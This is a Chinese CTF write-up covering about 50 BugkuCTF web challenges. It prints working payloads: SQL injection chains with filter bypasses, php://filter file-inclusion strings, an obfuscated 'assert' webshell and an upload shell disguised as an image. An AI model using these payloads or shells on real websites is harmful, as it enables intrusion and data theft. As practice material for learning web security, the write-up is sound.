WEB所有題目-BugkuCTF平臺

1、web2

這題查看源代碼即可,在url前加上 view-source:  。或者按F12也行。

2、計算器

這個輸入框只能輸入一位數字,把它改大即可。任何的前端限制都是不安全的。按F12, 用選區器選取文本框,在maxlength那個把1改大,然後就能正常輸入了。

Alt

3、web基礎$_GET

?參數=值。多個參數用 ?參數1=1&參數2=2。
payload:http://123.206.87.240:8002/get/?what=flag 

昶

4、web基礎$_POST

POST請求沒辦法寫在url裏,需要用hackbar修改,直接在框裏填就行。

昶

5、矛盾

num不能爲數字,但是爲數字1就能flag,由於num==1的判定是兩個等號,這是弱類型比較,如果等號兩邊類型不同,會轉換成相同類型再比較。
與之對應的是強類型比較,用的是三個等號===,如果類型不同就直接不相等了。
在弱類型比較下,當一個字符串與數字比較時,會把字符串轉換成數字,具體是保留字母前的數字。例如123ab7c會轉成123,ab7c會轉成0.(字母前沒數字就是0

Alt

6、web3

由於直接訪問網址就彈窗,直接對URL進行修改,在最前面加上“view-source:”,能看到一串編碼,使用工具解碼即可。
也可以在訪問網址時用Burp進行抓包處理。

昶
昶

7、域名解析

在本機host文件裏添加解析規則。Windows是改C:\Windows\System32\drivers\etc裏的host。加入一行:
123.206.87.240  flag.baidu.com

8、你必須讓他停下

用Burp抓包後發給Reperter,然後一直點擊“Go”直到出現flag,多點幾次即可。

昶

9、本地包含

目前網址不能訪問。借鑑網絡。
eval存在命令執行漏洞,使用hello構造payload。
1、payload:?hello=1);show_source('flag.php');var_dump(2    //1)閉合前面的var_dump(,後使用show_source()查看flag。
2、payload:?hello=1);include $_POST['a'];    //然後POST區域寫一個 a=php://filter/convert.base64-encode/resource=flag.php。
3、payload:?hello=get_file_contents('flag.php') 、 ?hello=file('flag.php')    //這是直接將flag.php文件讀入hello中。

10、變量1

flag In the variable ! <?php

error_reporting(0);                         //關閉php錯誤顯示
include "flag1.php";                        //引入flag1.php文件代碼
highlight_file(__file__);                   //對文件進行語法高亮顯示
if(isset($_GET['args'])){                   //條件判斷get方法傳遞的args參數是否存在
    $args = $_GET['args'];                  //賦值給變量  $args
    if(!preg_match("/^\w+$/",$args)){       //從/^開始, \w表示任意一個單詞字符,即[a-zA-Z0-9_] ,+將前面的字符匹配一次或多次,$/結尾
        die("args error!");                 //輸出 args error!
    }
    eval("var_dump($$args);");              //將字符串作爲php代碼執行,結尾加分號;var_dump()函數顯示關於一個或多個表達式的結構信息,包括表達式的類型與值。數組將遞歸展開值,通過縮進顯示其結構。$$args可以理解爲$($args)
}
?>
$$args可變變量,PHP在名爲 $GLOBALS[index] 的數組中存儲了所有全局變量。

昶

11、web5

查看網頁源代碼,獲得一長串由“()[]!+”組成的東西,又有提示“JSPFUCK”,將這一長串東西放入Chrome的控制檯Console中。然後全部轉爲大寫即“CTF{WHATFK}”。

昶

12、頭等艙

開啓Burp抓包,使用Ctrl+R發送到Repeater,直接點擊“Go”即可得到答案。

昶

13、網站被黑

先用御劍掃描到shell.php,再用Burp抓包,按Ctrl+I發往Intruder,然後選擇字典爆破得到密碼“hack”,輸入後點擊登錄即可得到flag。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

14、管理員系統

按F12查看網頁源代碼,Base64解密得test123,猜測是密碼,用戶名猜測是admin。嘗試登錄發現說IP禁止訪問,需聯繫本地管理員,所以用Burp抓包後加一句轉發給本地的X-Forwarded-For:127.0.0.1,即可得到flag。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

15、web4

提示查看源代碼,將源代碼裏的東西翻譯一下即可。

在這裏插入圖片描述
在這裏插入圖片描述

16、flag在index裏

經典的本地文件包含漏洞+PHP僞協議的結合應用。
index.php?file=php://filter/read=convert.base64-encode/resource=index.php。
首先這是一個file關鍵字的get參數傳遞,php://是一種協議名稱,php://filter/是一種訪問本地文件的協議,/read=convert.base64-encode/表示讀取的方式是base64編碼後,resource=index.php表示目標文件爲index.php。
通過傳遞這個參數可以得到index.php的源碼,是因爲源碼中的include函數,這個表示從外部引入php文件並執行,如果執行不成功,就返回文件的源碼。
而include的內容是由用戶控制的,所以通過我們傳遞的file參數,是include()函數引入了index.php的base64編碼格式,因爲是base64編碼格式,所以執行不成功,返回源碼,所以我們得到了源碼的base64格式,解碼即可。如果不進行base64編碼傳入,就會直接執行,而flag的信息在註釋中,是得不到的。
源碼中存在對 ../ tp data input 的過濾,其實這都是php://協議中的其他方法,都可以結合文件包含漏洞執行。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

17、輸入密碼查看flag

5位數密碼,先生成5位數的全數字字典,然後在Burp爆破即可。

在這裏插入圖片描述
在這裏插入圖片描述

18、點擊一百萬次

目前網址不能訪問。借鑑網絡。
查看源代碼發現了一個clicks變量,當它爲1000000就能得到flag。
1、直接F12,選擇控制檯 輸入clicks=1000000,回車後點擊網站圖案得到flag。
2、在hackbar下POST區域提交clicks=1000000,得到flag。

19、備份是個好習慣

題目提示備份,想到在網址後加index.php.bak,下載得到源碼分析後構造payload得到flag。

parse_str的用法:
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
// 推薦用法
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz
// 不建議這麼用
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

在這裏插入圖片描述
在這裏插入圖片描述

20、成績單

輸入123分別能查到123號學生的成績,明顯是SQL注入。
輸入1'返回異常,輸入 1'--+ 返回異常,輸入 1'# 或者 1'-- + 返回正常,看來過濾了--+
輸入 1' order by 4# 正常,輸入 1' order by 5# 報錯。
輸入 -1' union select 1,2,3,4# 查看回顯位
輸入 -1' union select 1,database(),3,4# 查看當前數據庫得到skctf_flag
輸入 -1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf_flag'# 查看錶名得到fl4g,sc
輸入 -1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g'# 查看列名得到skctf_flag
輸入 -1' union select 1,group_concat(skctf_flag),3,4 from fl4g# 查看得到最終flag

21、秋名山老司機

獲取網頁裏的內容並運算,寫一個python腳本跑一下即可。

python腳本如下:
import re
import requests
url = 'http://123.206.87.240:8002/qiumingshan/'
session = requests.session()
s = re.findall('<div>([0-9+*-]*)?',session.get(url).text)
print("s的值:",s)
print("s[0]的值:",s[0])
d = eval(s[0])
#由於一開始網頁源代碼並沒有給往什麼值去傳,先設爲空看看結果
#value = {"":d}
#運行後提示往“value”裏做post處理
value = {"value":d}
f = session.post(url,value)
print("\n",f.text)

在這裏插入圖片描述

22、速度要快

Burp抓包後提示post給“margin”,寫Python腳本即可。

在這裏插入圖片描述
在這裏插入圖片描述

23、cookies欺騙

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
打開鏈接,一串無意義的字符串,發現網址處的“filename=a2V5cy50eHQ=”可以base64解碼爲key.txt。
嘗試將“index.php”進行base64編碼後放入,調整line值發現一行一行的代碼浮現,直接寫腳本跑出index.php。
發現有一個叫key.php的文件,需要有cookie,margin=margin的時候,$file_list這個列表就會有key.php,嘗試訪問一下竟然爲空,F12查看一下發現註釋了flag。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

24、never give up

打開鏈接,查看源代碼,有一行註釋<!--1p.html-->,訪問發現重定向到其他頁面,Burp抓包後解碼得到PHP代碼。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

變量 $id 弱等於整型數 0
變量 $b 的長度大於5,字符串 1114 要與字符串 111 連接$b的第一個字符構成的正則表達式匹配,$b的第一個字符弱不等於整型數4。
變量 $data 弱等於字符串 bugku is a nice plateform!

1$id弱等於0,“ $id=. | $id=? | $id=* | $id="" | $id="字符串都可以" | $id=0e開頭的任意東西 ”。
php認定0e開頭的 == 0, php://input 繞過file_get_contents, 星號或問號或.點號繞過正則表達式的匹配

2、源碼中變量 $data 是由 file_get_contents() 函數讀取變量 $a 的值而得,所以 $a 的值必須爲數據流。
在服務器中自定義一個內容爲 bugku is a nice plateform! 文件,再把此文件路徑賦值給 $a,顯然不太靠譜。
因此這裏用僞協議 php:// 來訪問輸入輸出的數據流,其中 php://input可以訪問原始請求數據中的只讀流。
這裏令 $a=php://input,並在請求主體中提交字符串 bugku is a nice plateform!。

3eregi() 截斷漏洞,ereg() 函數或 eregi() 函數存在空字符截斷漏洞,即參數中的正則表達式或待匹配字符串遇到空字符則截斷丟棄後面的數據。源碼中待匹配字符串(第二個參數)已確定爲 "1114",正則表達式(第一個參數)由 "111" 連接 $b 的第一個字符組成,若令 substr($b,0,1) = "\x00",即滿足 "1114""111"匹配。因此,這裏假設 $b = "\x0012345",才能滿足條件,因爲$b長度要大於5。在構造變量 b 中的空字符時,過早將空字符 \x00 放入,在提交請求時導致請求頭截斷,繼而請求失敗,得不到響應。因爲 b 是 URL 查詢字符串中的變量,不應該在此放入空字符 \x00,而應該爲空字符的 URL 編碼 %00。注意,雖然 b=%0012345 實際字符串長度爲 8 字節,但在後臺腳本讀入數據時,會將 URL 編碼 %00 轉換成 1 字節。所以說,空字符應該在後臺腳本的變量中出現,而不是在 URL 查詢字符串變量中出現。

在這裏插入圖片描述

25、welcome to bugkuctf

目前網址不能訪問。借鑑網絡。
類似於第24題,使用php://input,然後POST傳入“welcome to the bugkuctf”。滿足條件就執行了include($file),即將hint.php給包含了。使用php://filter來讀取hint.php的內容。
此時payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php。得到hint.php的Base64編碼後的內容,解碼即可。然後相同方式去得到index.php。

index.php表明,傳入的file文件名中不能帶有'flag',然後就將file文件包含進來,之後反序列化password並輸出。而hint.php則是定義了一個FLAG類,類裏有$file屬性,並且有一個魔術方法__tostring(),這個方法的好處是當調用實例化對象時會自動執行此方法,作用是$file屬性有賦值就將這個文件內容輸出成字符串。
我們可以讓$passwordFLAG類型,並且讓FLAG中的$file就等於flag.php,這樣就可以得到flag.php的內容了,當然得先序列化。寫腳本得到序列化結果 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} ,傳入得到結果。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

26、過狗一句話

目前網址不能訪問。借鑑網絡。
<?php
    $poc="a#s#s#e#r#t";
    $poc_1=explode("#",$poc);
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_GET['s'])
?>

1、s=print_r(scandir('./'))           然後讀取fl4g.txt
2、s=print_r(glob("*.*"))             然後讀取show_source("fl4g.txt")
3、使用file_get_contents("flag.txt")  讀取文件
eg: 還有system('ls')的讀取方法但是這裏應該沒有權限.

構造payload:?s=print_r(glob('*.txt')) 訪問即可。

27、字符?正則?

訪問網址,顯示php代碼。
.*           匹配 0個或多個字符
.{4,7}       匹配 47個任意字符
\/.\/        匹配 /任意一個字符/
[a-z]        匹配 a到z的任意字符
[[:punct:]]  匹配 任何標點符號
i            標記指定不區分大小寫 
構造payload:?id=key1key1234key:/1/1keya. 

在這裏插入圖片描述
在這裏插入圖片描述

28、前女友(SKCTF)

目前網址不能訪問。借鑑網絡。
v1和v2弱比較相等,使用md5的0e開頭的就行,md5不能處理數組,傳數組也行。strcmp裏的v3和flag字符串比較相等時值爲0,但是strcmp出錯時也等於0,遇到數組會出錯。
構造payload:?v1[]=1&v2[]=2&v3[]=3?v1=QNKCDZO&v2=240610708&v3[]=3    //QNKCDZO和240610708的md5都是0e開頭的。

在這裏插入圖片描述

29、login1(SKCTF)

目前網址不能訪問。借鑑網絡。
考察點:SQL約束攻擊
隨機註冊賬號後登錄提示“不是管理員還想看flag?!”,那就註冊admin(後跟賊多個空格),密碼隨便設。然後使用用戶名“admin”和密碼自己設的登錄即可查看原屬於admin的信息,即可得到flag。

30、你從哪裏來

訪問後出現“are you from google?”,問來自與,想到Header信息裏的Referer,作用是告訴服務器我是從那個頁面鏈接過來的。
Burp抓包後加上Referer即可。

在這裏插入圖片描述

31、md5 collision(NUPT_CTF)

訪問網址,要我們輸入a,使用 ?a=1 後返回false!!!。結合題目提示的md5碰撞,想到0e開頭的md5。
注意:QNKCDZO也是0e開頭,但這個不能用。

在這裏插入圖片描述

32、程序員本地網站

訪問網址後顯示“請從本地訪問!”,想到僞造請求頭,Header頭信息裏的X-Forwarded-For

在這裏插入圖片描述

33、各種繞過

uname的sha1和值與passwd的sha1的值相等即可,但同時他們兩個的值又不能相等,只要構造數組就可以了。

在這裏插入圖片描述

34、web8

訪問網址後發現是代碼審計,$ac$f相等,$f讀取$fn文件裏的內容,根據題目提示“txt???”,想到flag.txt,訪問發現是"flags"。將$fn指向flag.txt,$ac=flags即可得到flag。

在這裏插入圖片描述
在這裏插入圖片描述

35、細心

題目提示想辦法變成admin。訪問網址後有一行“No such file or directory.”,想到用御劍去掃描一下得到一個robots.txt文件。訪問後得到resusl.php,傳x=admin即可得到flag。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

36、求getshell

一共三個過濾
* 請求頭部的 Content-Type,大小寫繞過
* 文件後綴
* 請求數據的Content-Type

這裏是黑名單過濾來判斷文件後綴,依次嘗試php4,phtml,phtm,phps,php5(包括一些字母改變大小寫),這裏php5可以繞過。

在這裏插入圖片描述

37、INSERT INTO注入

題目給了源碼。在請求中的X-Forwarded-For字段可以進行注入,但逗號被過濾了。用時間盲注,腳本不放了。

在這裏插入圖片描述

38、這是一個神奇的登錄框

目前網址不能訪問。借鑑網絡。
一開始嘗試隨機輸入後提示“Try Again!”。尋找注入點,輸入 1' 不報錯,輸入 1" 報錯。然後order by得出有兩列。最後就是常規的爆庫、表、列和字段名了。

39、多次

1、嘗試加單引號報錯,用“--+ ”註釋後不報錯。之後使用or 1=1 時竟然直接又報錯了,可能存在過濾。使用異或注入判斷哪些被過濾了。
?id=1'^(length('union')!=0) 
當union被過濾時1^0 輸出id=1;當union沒被過濾時 1 ^ 1 輸出 id=0,回顯 error,即沒過濾才報錯。
測試出被過濾的字符串有:and,or,union,select。
嘗試使用雙寫繞過,oorr 1=1 正常回顯,不過不知道爲什麼這裏沒法使用order by,就算雙寫了還是報錯。
之後就雙寫union、select來爆表、列和字段名(注意information也帶有or)。
注入過程:
?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+    //爆表名得到flag1,hint
?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+    //爆列名得到flag1,address
?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+    //得到usOwycTju+FTUUzXosjr
?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+    //得到一個下一關地址鏈接

2、同樣的單引號報錯,用“--+ ”註釋後不報錯。使用or 1=1 時不報錯。order by得出有兩列。過濾了union,且無法雙寫繞過。常規失去了注入不起效,嘗試使用xpath函數報錯注入,以下兩個都可以。
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))
?id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)
注入過程:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+     //得到web1002-2
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e))--+     //得到class,flag2
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e))--+     //得到flag2,address
?id=1' and extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e))--+    //得到flag{Bugku-sql_6s-2i-4t-bug},結合題目全小寫即可得到最終flag。

40、PHP_encrypt_1(ISCCCTF)

題目附帶壓縮包解壓後得到index.php,主要是加密用的,寫一個解密腳本就好了。

在這裏插入圖片描述
在這裏插入圖片描述

41、文件包含2

目前網址不能訪問。借鑑網絡。
查看源碼發現註釋文件upload.php,訪問後到文件上傳頁面。
方法1、新建一個txt文件寫入 <script language=php>system("ls")</script> 後另存爲jpg格式,能上傳成功,訪問得到txt文件,再訪問這個txt文件即可得到flag。
方法2、普通一句話會被過濾,這裏構造<script language=php>eval($_POST['pass']);</script> 後另存爲jpg格式,能上傳成功。然後菜刀連接,具體自己沒操作過,行不行不得而知。

在這裏插入圖片描述
在這裏插入圖片描述

42、flag.php

訪問後點擊login沒反應,查看源代碼發現login是button組件,不是submit,而且<form>裏的action爲#,根本不知道下一步幹什麼。想到題目給的提示是“hint”,把hint當作參數訪問後得到源代碼。代碼意思是cookie一個參數“ISecer”,將其反序列化跟KEY值相等即可,但在比較時$KEY還未定義,所以那個時候的$KEY不爲'ISecer:www.isecer.com'。
那我們就先序列化一下再cookie傳入即可。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

43、sql注入2

方法1、這道題是DS_Store源碼泄露,跑一下就出來了,自動生成了一個文件夾“123.206.87.240_8007”,打開找到flag文件即可得到答案。

在這裏插入圖片描述

方法2、利用字符串與數字做運算時,字符串會轉爲數字再做運算,例如"abc"=""=0"12ab"=12>11,可看下圖示例,若是username=0-1=-1時就會報錯,但username=0-0=0時是不會報錯的,會回顯相應的信息。這樣我們就能利用 admin'-0-' 來構造payload。因爲源代碼類似於 select * from xxx where username='輸入處'; 所以 admin'-0-' 輸入後就相當於username='admin'-0-'',也就是字符串與數字的運算問題了。
首先使用異或注入(不詳自行百度)判斷哪些被過濾了,手工測太麻煩,在Burp下跑字典(字典裏面就是常用的sql關鍵詞),發現題目給的“提示 !,!=,=,+,-,^,%”這些都是沒有被過濾的,而像“union,or,and,for,information,逗號,空格”等都被過濾了。

在這裏插入圖片描述
在這裏插入圖片描述

由於information都被過濾了,就不能使用information_schema來爆表、爆列了。這時想到源代碼的uname、passwd,猜測就是最後的字段名。由於uname=admin已經確定,那麼寫腳本異或注入一下得出passwd的長度爲32,猜測是md5加密後的值,那就一位位爆出來。

在這裏插入圖片描述
在這裏插入圖片描述

發現“ascii(),substr(),mid()”都沒有被過濾,substr(database(),1,2)=substr(database() from 1 for 2),但由於for、逗號、空格被過濾,這裏考慮使用substr()mid()也完全一樣。
說明原理:若passwd=abc123,
substr((passwd)from(1))='abc123',substr((passwd)from(2))='bc123'
比較ascii值:ascii(substr((passwd)from(2)))=98    //只比較字符串得第一位,98即b得ascii值
當表達式爲真時,返回“username error!!@_@”;當表達式爲假時,返回“password error!!@_@”。
寫腳本跑一下即可。“0192023a7bbd73250516f069df18b500”這串字符取md5解密一下得到“admin123”。
使用用戶名“admin”和密碼“admin123”登錄後輸入ls執行即可得到flag。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

44、孫xx的博客

不會。

45、Trim的日記本

直接御劍掃描到一個show.php,訪問即可得到flag。

在這裏插入圖片描述
在這裏插入圖片描述

46、login2(SKCTF)

目前網址不能訪問,沒寫。

47、login3(SKCTF)

目前網址不能訪問,沒寫。

48、文件上傳2(湖湘杯)

目前網址不能訪問,沒寫。

49、江湖魔頭

嘗試了很多不知道怎麼做,Burp抓到的Cookie的內容Base64也解不出,只知道要購買如來神掌去討伐老魔,但銀兩來的太慢了。後來百度纔有瞭解題思路。

腦洞,網址刪掉後面的?action內容,只保留wulin.php,查看源代碼得到幾個js文件。

在這裏插入圖片描述

script.js的部分內容如下。需要先js解密,推薦網址 https://tool.lu/js/ 進行解密。

在這裏插入圖片描述

先按照上圖紅框代碼內容執行一下
在這裏插入圖片描述

Cookie裏的內容按照所給解密方式解密得到一串明文。這裏就可以修改money屬性要很多的錢。
原內容:O:5:"human":10:{s:8:"xueliang";i:863;s:5:"neili";i:875;s:5:"lidao";i:67;s:6:"dingli";i:86;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:0;s:4:"flag";s:1:"0";}
修改後:O:5:"human":10:{s:8:"xueliang";i:863;s:5:"neili";i:875;s:5:"lidao";i:67;s:6:"dingli";i:86;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:999999;s:4:"flag";s:1:"0";}
之後要逆着加密內容然後傳回給Cookie即可完成修改金幣。
特別要注意並不是簡單的逆回去就好了,base64.js裏有坑。
base64.js裏是一個Base64函數,裏面有兩個公有方法encode()和decode(),兩個私有方法_utf8_encode()和_utf8_decode()噁心的是encode()裏使用了_utf8_encode(),而decode()裏沒有使用_utf8_decode()

在這裏插入圖片描述

開始逆運算。仔細看script.js裏的decode_create()方法。如下藍框所示,我們相當於現在知道了result3,要求出result。求出result後需要對其使用base64.js裏的encode()方法,但是不能調用_utf8_encode()這個私有方法。因爲之前解密的時候使用base64.js裏的decode()方法裏將_utf8_decode()註釋掉了。

在這裏插入圖片描述

逆運算藍框所示內容,代碼如下:
result3= "O:5:"human":10:{s:8:"xueliang";i:863;s:5:"neili";i:875;s:5:"lidao";i:67;s:6:"dingli";i:86;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:999999;s:4:"flag";s:1:"0";}"
result = ""
for (i = 0; i < result3.length; i++) {
    var num = result3[i].charCodeAt();
    num = num + ((i % 10) + 2);
    num = num ^ i;
    result += String.fromCharCode(num)
}

在這裏插入圖片描述

之後就需要按照base64.js裏的encode()內容來加密,但是不能調用_utf8_encode()這個私有方法。
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = result;
while (i < input.length) {
    chr1 = input.charCodeAt(i++);
    chr2 = input.charCodeAt(i++);
    chr3 = input.charCodeAt(i++);
    enc1 = chr1 >> 2;
    enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
    enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
    enc4 = chr3 & 63;
    if (isNaN(chr2)) {
        enc3 = enc4 = 64;
    } else if (isNaN(chr3)) {
        enc4 = 64;
    }
    output = output +
    _keyStr.charAt(enc1) + _keyStr.charAt(enc2) +
    _keyStr.charAt(enc3) + _keyStr.charAt(enc4);
}
return output;

在這裏插入圖片描述
在這裏插入圖片描述

接着看script.js裏的decode_create()方法。我們現在只需要進行encodeURIComponent()方法,然後再傳入Cookie中即可。

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

之後就是花錢到商店裏買完所有的技能學會如來神掌,再到討伐頁面討伐老魔就能得到flag。

在這裏插入圖片描述

50、login4

目前網址不能訪問,沒寫。

轉載請註明出處。
本文網址:https://blog.csdn.net/hiahiachang/article/details/105060922

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章